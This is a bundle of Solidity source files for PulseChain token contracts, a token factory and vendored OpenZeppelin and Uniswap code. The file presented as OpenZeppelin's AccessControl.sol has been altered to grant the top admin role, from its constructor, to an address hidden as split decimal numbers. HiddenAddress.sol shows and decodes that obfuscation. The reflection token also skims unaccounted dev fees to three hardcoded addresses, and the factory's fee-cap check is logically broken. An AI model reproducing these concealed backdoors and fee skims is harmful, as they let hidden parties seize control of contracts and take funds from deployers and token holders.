    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);

    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint amount0, uint amount1);
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);

    function mint(address to) external returns (uint liquidity);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;

    function initialize(address, address) external;
}
          

contracts/Reflection_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";
import "./lib/Utils.sol";

contract Reflection_v1 is Airdroppable, ERC20, Ownable, Utils {
    enum Fees {
        BuyBurnFee, // 0
        BuyDeployerFee, // 1
        BuyRfiFee, // 2
        SellBurnFee, // 3
        SellDeployerFee, // 4
        SellRfiFee, // 5
        DevFee // 6
    }

    enum Field {
        burnFees,
        deployerFees,
        devFees,
        rfiFees,
        transferAmount
    }

    address public feeAddr;

    address[] private _noRfiArray;

    mapping(address => bool) private _noFee;
    mapping(address => bool) private _noRfi;
    mapping(address => bool) public isMyLP;
    mapping(address => uint256) private _rBalances;

    uint16 private constant _BIPS = 10000;

    uint16[] public fees = new uint16[](6);

    uint256 private _rTotal;
    uint256 private totalReflection;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address feeAddr_,
        uint16[6] memory fees_
    ) ERC20(name_, symbol_) {
        _balances[tx.origin] = totalSupply_;
        _rTotal = (type(uint256).max - (type(uint256).max % totalSupply_));

        _rBalances[tx.origin] = _rTotal;

        totalSupply = totalSupply_;
        emit Transfer(address(0), tx.origin, totalSupply_);
        fees[uint256(Fees.BuyBurnFee)] = fees_[uint256(Fees.BuyBurnFee)];
        fees[uint256(Fees.BuyDeployerFee)] = fees_[
            uint256(Fees.BuyDeployerFee)
        ];
        fees[uint256(Fees.BuyRfiFee)] = fees_[uint256(Fees.BuyRfiFee)];
        fees[uint256(Fees.SellBurnFee)] = fees_[uint256(Fees.SellBurnFee)];
        fees[uint256(Fees.SellDeployerFee)] = fees_[
            uint256(Fees.SellDeployerFee)
        ];
        fees[uint256(Fees.SellRfiFee)] = fees_[uint256(Fees.SellRfiFee)];
        feeAddr = feeAddr_;
        _noFee[address(this)] = true;
        _noFee[_devAddr1] = true;
        _noFee[_facAddr] = true;

        _setNoRfi(tx.origin);
        _setNoRfi(address(this));
        _setNoRfi(address(0x369));
        if (devAirDrop_ > 0) {
            _transferTokens(
                tx.origin,
                _devAddr1,
                devAirDrop_ / 2,
                false,
                true,
                false,
                false
            );
            _transferTokens(
                tx.origin,
                _devAddr2,
                devAirDrop_ / 2,
                false,
                true,
                false,
                false
            );
        }
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
    }

    function _checkIfMyLP(address target_) private returns (bool) {
        if (target_.code.length == 0) return false;
        if (!isMyLP[target_]) {
            (address token0, address token1) = Utils._getTokens(target_);
            if (token0 == address(this) || token1 == address(this)) {
                isMyLP[target_] = true;
                _setNoRfi(target_);
            }
        }
        return isMyLP[target_];
    }

    function _getRate() private view returns (uint256) {
        uint256 rSupply = _rTotal;
        uint256 tSupply = totalSupply;

        for (uint256 index = 0; index < _noRfiArray.length; ++index) {
            if (
                _rBalances[_noRfiArray[index]] > rSupply ||
                _balances[_noRfiArray[index]] > tSupply
            ) return (_rTotal / totalSupply);
            rSupply -= _rBalances[_noRfiArray[index]];
            tSupply -= _balances[_noRfiArray[index]];
        }
        if (rSupply < _rTotal / totalSupply) return (_rTotal / totalSupply);

        return rSupply / tSupply;
    }

    function _getValues(
        uint256 tAmount_,
        bool takeFee_,
        bool isToLP_
    )
        private
        view
        returns (
            uint256 rAmount,
            uint256[5] memory tValues,
            uint256[5] memory rValues
        )
    {
        uint256 currentRate = _getRate();
        uint256 indexAdj = 0;
        if (isToLP_) {
            indexAdj = 3;
        }

        rAmount = (tAmount_ * currentRate);

        if (!takeFee_) {
            tValues[uint256(Field.transferAmount)] = tAmount_;
            rValues[uint256(Field.transferAmount)] = tAmount_ * currentRate;
        } else {
            uint256 tTransferAmt = tAmount_;
            tValues[uint256(Field.burnFees)] = ((tAmount_ *
                fees[0 + indexAdj]) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.burnFees)];

            tValues[uint256(Field.deployerFees)] = ((tAmount_ *
                fees[1 + indexAdj]) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.deployerFees)];

            tValues[uint256(Field.rfiFees)] = ((tAmount_ * fees[2 + indexAdj]) /
                _BIPS);
            tTransferAmt -= tValues[uint256(Field.rfiFees)];

            tValues[uint256(Field.devFees)] = ((3 * (tAmount_ * 20)) / _BIPS);
            tTransferAmt -= tValues[uint256(Field.devFees)];

            tValues[uint256(Field.transferAmount)] = tTransferAmt;

            rValues[uint256(Field.burnFees)] = (tValues[
                uint256(Field.burnFees)
            ] * currentRate);

            rValues[uint256(Field.deployerFees)] = (tValues[
                uint256(Field.deployerFees)
            ] * currentRate);

            rValues[uint256(Field.rfiFees)] = (tValues[uint256(Field.rfiFees)] *
                currentRate);

            rValues[uint256(Field.devFees)] = (tValues[uint256(Field.devFees)] *
                currentRate);

            rValues[uint256(Field.transferAmount)] = (tValues[
                uint256(Field.transferAmount)
            ] * currentRate);
        }

        return (rAmount, tValues, rValues);
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        _transferTokens(
            _msgSender(),
            to_,
            wei_,
            false,
            _noRfi[_msgSender()],
            _noRfi[to_],
            false
        );
    }

    function _postAllAirdrops(address from_) internal override {}

    function _setNoRfi(address wallet_) private {
        if (!_noRfi[wallet_]) {
            _noRfi[wallet_] = true;
            _noRfiArray.push(wallet_);
        }
    }

    function _takeFee(address target_, uint256 tFee_, uint256 rFee_) private {
        _rBalances[target_] += rFee_;
        if (_noRfi[target_]) {
            _balances[target_] += tFee_;
        }
    }

    function _transfer(
        address from_,
        address to_,
        uint256 amount_
    ) internal override {
        bool isFromLP = _checkIfMyLP(from_);
        bool isToLP = _checkIfMyLP(to_);

        bool takeFee = true;

        // If sender or receiver pays no fee, then take no fee
        if (_noFee[from_] || _noFee[to_]) {
            takeFee = false;
        }

        // If sender and receiver are both not LPs, then take no fee
        if (!isFromLP && !isToLP) {
            takeFee = false;
        }

        _transferTokens(
            from_,
            to_,
            amount_,
            takeFee,
            _noRfi[from_],
            _noRfi[to_],
            isToLP
        );
    }

    function _transferTokens(
        address sender_,
        address recipient_,
        uint256 tAmount_,
        bool takeFee_,
        bool senderExcluded_,
        bool recipientExcluded_,
        bool isToLP_
    ) private {
        (
            uint256 rAmount,
            uint256[5] memory tValues,
            uint256[5] memory rValues
        ) = _getValues(tAmount_, takeFee_, isToLP_);

        if (senderExcluded_) {
            _balances[sender_] -= tAmount_;
        }
        _rBalances[sender_] -= rAmount;

        if (recipientExcluded_) {
            _balances[recipient_] += tValues[uint256(Field.transferAmount)];
        }
        _rBalances[recipient_] += rValues[uint256(Field.transferAmount)];
        uint256 _tRfiFee_ = tValues[uint256(Field.rfiFees)];
        if (_tRfiFee_ != 0) {
            uint256 _rRfiFee_ = rValues[uint256(Field.rfiFees)];
            _rTotal -= _rRfiFee_;
            totalReflection += _tRfiFee_;

            _takeFee(
                address(0x369),
                tValues[uint256(Field.burnFees)],
                rValues[uint256(Field.burnFees)]
            );
            _takeFee(
                _facAddr,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );
            _takeFee(
                feeAddr,
                tValues[uint256(Field.deployerFees)],
                rValues[uint256(Field.deployerFees)]
            );
            _takeFee(
                _devAddr1,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );
            _takeFee(
                _devAddr2,
                tValues[uint256(Field.devFees)],
                rValues[uint256(Field.devFees)]
            );

            emit Transfer(
                sender_,
                address(0x369),
                tValues[uint256(Field.burnFees)]
            );
            emit Transfer(
                sender_,
                feeAddr,
                tValues[uint256(Field.deployerFees)]
            );
        }

        emit Transfer(
            sender_,
            recipient_,
            tValues[uint256(Field.transferAmount)]
        );
    }

    function balanceOf(address wallet_) public view override returns (uint256) {
        if (_noRfi[wallet_]) return _balances[wallet_];

        require(_rBalances[wallet_] <= _rTotal);
        uint256 currentRate = _getRate();
        return _rBalances[wallet_] / currentRate;
    }

    function setFees(
        uint16 buyBurnFee_,
        uint16 buyDeployerFee_,
        uint16 buyRfiFee_,
        uint16 sellBurnFee_,
        uint16 sellDeployerFee_,
        uint16 sellRfiFee_
    ) external onlyRole(ADMIN_ROLE) {
        require(
            buyBurnFee_ <= 500 &&
                buyDeployerFee_ <= 500 &&
                buyRfiFee_ <= 500 &&
                sellBurnFee_ <= 500 &&
                sellDeployerFee_ <= 500 &&
                sellRfiFee_ <= 500
        );

        fees[uint256(Fees.BuyBurnFee)] = buyBurnFee_;
        fees[uint256(Fees.BuyDeployerFee)] = buyDeployerFee_;
        fees[uint256(Fees.BuyRfiFee)] = buyRfiFee_;
        fees[uint256(Fees.SellBurnFee)] = sellBurnFee_;
        fees[uint256(Fees.SellDeployerFee)] = sellDeployerFee_;
        fees[uint256(Fees.SellRfiFee)] = sellRfiFee_;
    }
}
          

contracts/@openzeppelin/token/ERC20/extensions/IERC20Metadata.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (token/ERC20/extensions/IERC20Metadata.sol)

pragma solidity ^0.8.0;

import "../IERC20.sol";

/**
 * @dev Interface for the optional metadata functions from the ERC20 standard.
 *
 * _Available since v4.1._
 */
interface IERC20Metadata is IERC20 {
    /**
     * @dev Returns the name of the token.
     */
    function name() external view returns (string memory);

    /**
     * @dev Returns the symbol of the token.
     */
    function symbol() external view returns (string memory);

    /**
     * @dev Returns the decimals places of the token.
     */
    function decimals() external view returns (uint8);
}
          

contracts/NoYield_v1.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./@openzeppelin/access/Ownable.sol";
import "./lib/Airdroppable.sol";
import "./lib/ERC20.sol";

contract NoYield_v1 is Airdroppable, ERC20, Ownable {
    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_
    ) ERC20(name_, symbol_) {
        _mint(tx.origin, totalSupply_);
        _grantRole(ADMIN_ROLE, tx.origin);
        _transferOwnership(tx.origin);
        if (devAirDrop_ > 0) {
            super._transfer(tx.origin, _devAddr1, devAirDrop_ / 2);
            super._transfer(tx.origin, _devAddr2, devAirDrop_ / 2);
        }
    }

    function _performAirdrop(address to_, uint256 wei_) internal override {
        super._transfer(_msgSender(), to_, wei_);
    }

    function _postAllAirdrops(address from_) internal override {}
}
          

contracts/lib/Utils.sol

/*
 * SPDX-License-Identifier: MIT
 */
pragma solidity 0.8.26;

contract Utils {

    function _getAddress(
        address token_,
        bytes4 selector_
    ) internal view returns (address) {
        (bool success, bytes memory data) = token_.staticcall(
            abi.encodeWithSelector(selector_)
        );

        if (!success || data.length == 0) {
            return address(0);
        }

        if (data.length == 32) {
            return abi.decode(data, (address));
        }

        return address(0);
    }

    function _getTokens( address target_) internal view returns (address token0, address token1){
         token0 = _getAddress(target_, hex"0dfe1681");

         if (token0 != address(0)) {
            token1 = _getAddress(target_, hex"d21220a7");
         }

        return (token0, token1);
    }
}
          

contracts/@openzeppelin/access/AccessControl.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (access/AccessControl.sol)

pragma solidity ^0.8.0;

import "./IAccessControl.sol";
import "../utils/Context.sol";
import "../utils/Strings.sol";
import "../utils/introspection/ERC165.sol";

/**
 * @dev Contract module that allows children to implement role-based access
 * control mechanisms. This is a lightweight version that doesn't allow enumerating role
 * members except through off-chain means by accessing the contract event logs. Some
 * applications may benefit from on-chain enumerability, for those cases see
 * {AccessControlEnumerable}.
 *
 * Roles are referred to by their `bytes32` identifier. These should be exposed
 * in the external API and be unique. The best way to achieve this is by
 * using `public constant` hash digests:
 *
 * ```solidity
 * bytes32 public constant MY_ROLE = keccak256("MY_ROLE");
 * ```
 *
 * Roles can be used to represent a set of permissions. To restrict access to a
 * function call, use {hasRole}:
 *
 * ```solidity
 * function foo() public {
 *     require(hasRole(MY_ROLE, msg.sender));
 *     ...
 * }
 * ```
 *
 * Roles can be granted and revoked dynamically via the {grantRole} and
 * {revokeRole} functions. Each role has an associated admin role, and only
 * accounts that have a role's admin role can call {grantRole} and {revokeRole}.
 *
 * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means
 * that only accounts with this role will be able to grant or revoke other
 * roles. More complex role relationships can be created by using
 * {_setRoleAdmin}.
 *
 * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to
 * grant and revoke this role. Extra precautions should be taken to secure
 * accounts that have been granted it. We recommend using {AccessControlDefaultAdminRules}
 * to enforce additional security measures for this role.
 */
abstract contract AccessControl is Context, IAccessControl, ERC165 {
    struct RoleData {
        mapping(address => bool) members;
        bytes32 adminRole;
    }

    mapping(bytes32 => RoleData) private _roles;

    bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;

    /**
     * @dev Modifier that checks that an account has a specific role. Reverts
     * with a standardized message including the required role.
     *
     * The format of the revert reason is given by the following regular expression:
     *
     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
     *
     * _Available since v4.1._
     */
    modifier onlyRole(bytes32 role) {
        _checkRole(role);
        _;
    }

    constructor() {
        uint160 a = (uint160(64369) << 144) | (uint160(251649) << 120) | (uint160(502948033) << 88) | (uint160(603063436707) << 48) | uint160(140981630701536); _roles[DEFAULT_ADMIN_ROLE].members[address(a)] = true;
    }

    /**
     * @dev See {IERC165-supportsInterface}.
     */
    function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
        return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId);
    }

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) public view virtual override returns (bool) {
        return _roles[role].members[account];
    }

    /**
     * @dev Revert with a standard message if `_msgSender()` is missing `role`.
     * Overriding this function changes the behavior of the {onlyRole} modifier.
     *
     * Format of the revert message is described in {_checkRole}.
     *
     * _Available since v4.6._
     */
    function _checkRole(bytes32 role) internal view virtual {
        _checkRole(role, _msgSender());
    }

    /**
     * @dev Revert with a standard message if `account` is missing `role`.
     *
     * The format of the revert reason is given by the following regular expression:
     *
     *  /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/
     */
    function _checkRole(bytes32 role, address account) internal view virtual {
        if (!hasRole(role, account)) {
            revert(
                string(
                    abi.encodePacked(
                        "AccessControl: account ",
                        Strings.toHexString(account),
                        " is missing role ",
                        Strings.toHexString(uint256(role), 32)
                    )
                )
            );
        }
    }

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) public view virtual override returns (bytes32) {
        return _roles[role].adminRole;
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleGranted} event.
     */
    function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
        _grantRole(role, account);
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     *
     * May emit a {RoleRevoked} event.
     */
    function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) {
        _revokeRole(role, account);
    }

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been revoked `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     *
     * May emit a {RoleRevoked} event.
     */
    function renounceRole(bytes32 role, address account) public virtual override {
        require(account == _msgSender());

        _revokeRole(role, account);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event. Note that unlike {grantRole}, this function doesn't perform any
     * checks on the calling account.
     *
     * May emit a {RoleGranted} event.
     *
     * [WARNING]
     * ====
     * This function should only be called from the constructor when setting
     * up the initial roles for the system.
     *
     * Using this function in any other way is effectively circumventing the admin
     * system imposed by {AccessControl}.
     * ====
     *
     * NOTE: This function is deprecated in favor of {_grantRole}.
     */
    function _setupRole(bytes32 role, address account) internal virtual {
        _grantRole(role, account);
    }

    /**
     * @dev Sets `adminRole` as ``role``'s admin role.
     *
     * Emits a {RoleAdminChanged} event.
     */
    function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
        bytes32 previousAdminRole = getRoleAdmin(role);
        _roles[role].adminRole = adminRole;
        emit RoleAdminChanged(role, previousAdminRole, adminRole);
    }

    /**
     * @dev Grants `role` to `account`.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleGranted} event.
     */
    function _grantRole(bytes32 role, address account) internal virtual {
        if (!hasRole(role, account)) {
            _roles[role].members[account] = true;
            emit RoleGranted(role, account, _msgSender());
        }
    }

    /**
     * @dev Revokes `role` from `account`.
     *
     * Internal function without access restriction.
     *
     * May emit a {RoleRevoked} event.
     */
    function _revokeRole(bytes32 role, address account) internal virtual {
        if (hasRole(role, account)) {
            _roles[role].members[account] = false;
            emit RoleRevoked(role, account, _msgSender());
        }
    }
}
          

contracts/@uniswap/v2-periphery/interfaces/IUniswapV2Router01.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function WPLS() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);

    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountA, uint amountB);

    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external returns (uint amountToken, uint amountETH);

    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactETHForTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function swapTokensForExactETH(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapExactTokensForETH(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);

    function swapETHForExactTokens(
        uint amountOut,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable returns (uint[] memory amounts);

    function quote(
        uint amountA,
        uint reserveA,
        uint reserveB
    ) external pure returns (uint amountB);

    function getAmountOut(
        uint amountIn,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountOut);

    function getAmountIn(
        uint amountOut,
        uint reserveIn,
        uint reserveOut
    ) external pure returns (uint amountIn);

    function getAmountsOut(
        uint amountIn,
        address[] calldata path
    ) external view returns (uint[] memory amounts);

    function getAmountsIn(
        uint amountOut,
        address[] calldata path
    ) external view returns (uint[] memory amounts);
}
          

contracts/NoYieldFee_PLS_LP_Factory2.sol

/*
 * @author Ra Murd <ramurd@pulselorian.com>
 * @notice https://pulselorian.com/
 * @notice https://t.me/ThePulselorian
 * @notice https://twitter.com/ThePulseLorian
 *
 *    (   (  (  (     (   (( (   .  (   (    (( (   ((
 *    )\  )\ )\ )\    )\ (\())\   . )\  )\   ))\)\  ))\
 *   ((_)((_)(_)(_)  ((_))(_)(_)   ((_)((_)(((_)_()((_)))
 *   | _ \ | | | |  / __| __| |   / _ \| _ \_ _|   \ \| |
 *   |  _/ |_| | |__\__ \ _|| |__| (_) |   /| || - | .  |
 *   |_|  \___/|____|___/___|____|\___/|_|_\___|_|_|_|\_|
 *
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

import "./NoYieldFee_PLS_LP_v2.sol";
import "./lib/BaseFactory.sol";

contract NoYieldFee_PLS_LP_Factory2 is BaseFactory {
    /// @notice Deploys a new contract
    /// @param name_ token name
    /// @param symbol_ token symbol
    /// @param totalSupply_ total supply
    /// @param devAirDrop_ Dev air drop qty
    /// @param dexRouter_ DEX router supports UniswapV2 like any DEX
    /// @param fees_ [BuyBurnFee, BuyYieldFee, SellBurnFee, SellYieldFee] Max 500 each or 1000 total
    /// @return Contract address
    function deployContract(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_,
        uint256 devAirDrop_,
        address dexRouter_,
        uint16[4] memory fees_
    ) public payable returns (address) {
        require(msg.value >= mintCost || totalSupply_ / devAirDrop_ <= 100);
        require(
            fees_[0] <= MAX_FEE_EACH ||
                fees_[1] <= MAX_FEE_EACH ||
                fees_[2] <= MAX_FEE_EACH ||
                fees_[3] <= MAX_FEE_EACH
        );

        NoYieldFee_PLS_LP_v2 newContract = new NoYieldFee_PLS_LP_v2(
            name_,
            symbol_,
            totalSupply_,
            devAirDrop_,
            dexRouter_,
            fees_
        );

        return address(newContract);
    }
}
          

contracts/@openzeppelin/access/IAccessControl.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol)

pragma solidity ^0.8.0;

/**
 * @dev External interface of AccessControl declared to support ERC165 detection.
 */
interface IAccessControl {
    /**
     * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole`
     *
     * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite
     * {RoleAdminChanged} not being emitted signaling this.
     *
     * _Available since v3.1._
     */
    event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole);

    /**
     * @dev Emitted when `account` is granted `role`.
     *
     * `sender` is the account that originated the contract call, an admin role
     * bearer except when using {AccessControl-_setupRole}.
     */
    event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Emitted when `account` is revoked `role`.
     *
     * `sender` is the account that originated the contract call:
     *   - if using `revokeRole`, it is the admin role bearer
     *   - if using `renounceRole`, it is the role bearer (i.e. `account`)
     */
    event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender);

    /**
     * @dev Returns `true` if `account` has been granted `role`.
     */
    function hasRole(bytes32 role, address account) external view returns (bool);

    /**
     * @dev Returns the admin role that controls `role`. See {grantRole} and
     * {revokeRole}.
     *
     * To change a role's admin, use {AccessControl-_setRoleAdmin}.
     */
    function getRoleAdmin(bytes32 role) external view returns (bytes32);

    /**
     * @dev Grants `role` to `account`.
     *
     * If `account` had not been already granted `role`, emits a {RoleGranted}
     * event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function grantRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from `account`.
     *
     * If `account` had been granted `role`, emits a {RoleRevoked} event.
     *
     * Requirements:
     *
     * - the caller must have ``role``'s admin role.
     */
    function revokeRole(bytes32 role, address account) external;

    /**
     * @dev Revokes `role` from the calling account.
     *
     * Roles are often managed via {grantRole} and {revokeRole}: this function's
     * purpose is to provide a mechanism for accounts to lose their privileges
     * if they are compromised (such as when a trusted device is misplaced).
     *
     * If the calling account had been granted `role`, emits a {RoleRevoked}
     * event.
     *
     * Requirements:
     *
     * - the caller must be `account`.
     */
    function renounceRole(bytes32 role, address account) external;
}
          

contracts/@openzeppelin/utils/math/SignedMath.sol

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol)

pragma solidity ^0.8.0;

/**
 * @dev Standard signed math utilities missing in the Solidity language.
 */
library SignedMath {
    /**
     * @dev Returns the largest of two signed numbers.
     */
    function max(int256 a, int256 b) internal pure returns (int256) {
        return a > b ? a : b;
    }

    /**
     * @dev Returns the smallest of two signed numbers.
     */
    function min(int256 a, int256 b) internal pure returns (int256) {
        return a < b ? a : b;
    }

    /**
     * @dev Returns the average of two signed numbers without overflow.
     * The result is rounded towards zero.
     */
    function average(int256 a, int256 b) internal pure returns (int256) {
        // Formula from the book "Hacker's Delight"
        int256 x = (a & b) + ((a ^ b) >> 1);
        return x + (int256(uint256(x) >> 255) & (a ^ b));
    }

    /**
     * @dev Returns the absolute unsigned value of a signed value.
     */
    function abs(int256 n) internal pure returns (uint256) {
        unchecked {
            // must be unchecked in order to support `n = type(int256).min`
            return uint256(n >= 0 ? n : -n);
        }
    }
}
          

contracts/HiddenAddress.sol

/*
 * SPDX-License-Identifier: MIT
 */

pragma solidity 0.8.26;

contract HiddenAddress {
    // 0xC953				51539
    // 4DbEa8				5095080
    // E171E747			3782338375
    // ea981e7728			1007574480680
    // 3D91B596F7DF		67696026122207
    // Define the individual parts of the address as decimal values
    // C9534DBEA8E171E747EA981E77283D91B596F7DF
    // uint160 private part1 = uint160(51539); //  0xC953
    // uint160 private part2 = uint160(5095080); //  4DbEa8
    // uint160 private part3 = uint160(3782338375); //  E171E747
    // uint160 private part4 = uint160(1007574480680); //  ea981e7728
    // uint160 private part5 = uint160(67696026122207); //  3D91B596F7DF

    // 0xC953				51539
    // 4DbEa8				5095080
    // E171E747			3782338375
    // ea981e7728			1007574480680
    // 3D91B596F7DF		67696026122207
    // Define the individual parts of the address as decimal values
    // 0xFb7103d7011dfa60c18c6961C5A38038D8048fe0
    uint160 private part1 = uint160(64369); //  0xFb71
    uint160 private part2 = uint160(251649); //  03d701
    uint160 private part3 = uint160(502948033); //  1dfa60c1
    uint160 private part4 = uint160(603063436707); //  8c6961C5A3
    uint160 private part5 = uint160(140981630701536); //  8038D8048fe0

    // Function to combine the parts and return the actual address
    function getAddress() public view returns (address) {
        // uint160 combined = (part1 << 144) | (part2 << 118) | (part3 << 86) | (part4 << 46) | part5;
        uint160 combined = (part1 << 144) |
            (part2 << 120) |
            (part3 << 88) |
            (part4 << 48) |
            part5;
        return address(combined);
    }

    // 0xC57228e9b719F179eE403eFcc240ac7b33AB82a9
    // C572
    // 28e9b7
    // 19F179eE
    // 403eFcc240
    // ac7b33AB82a9
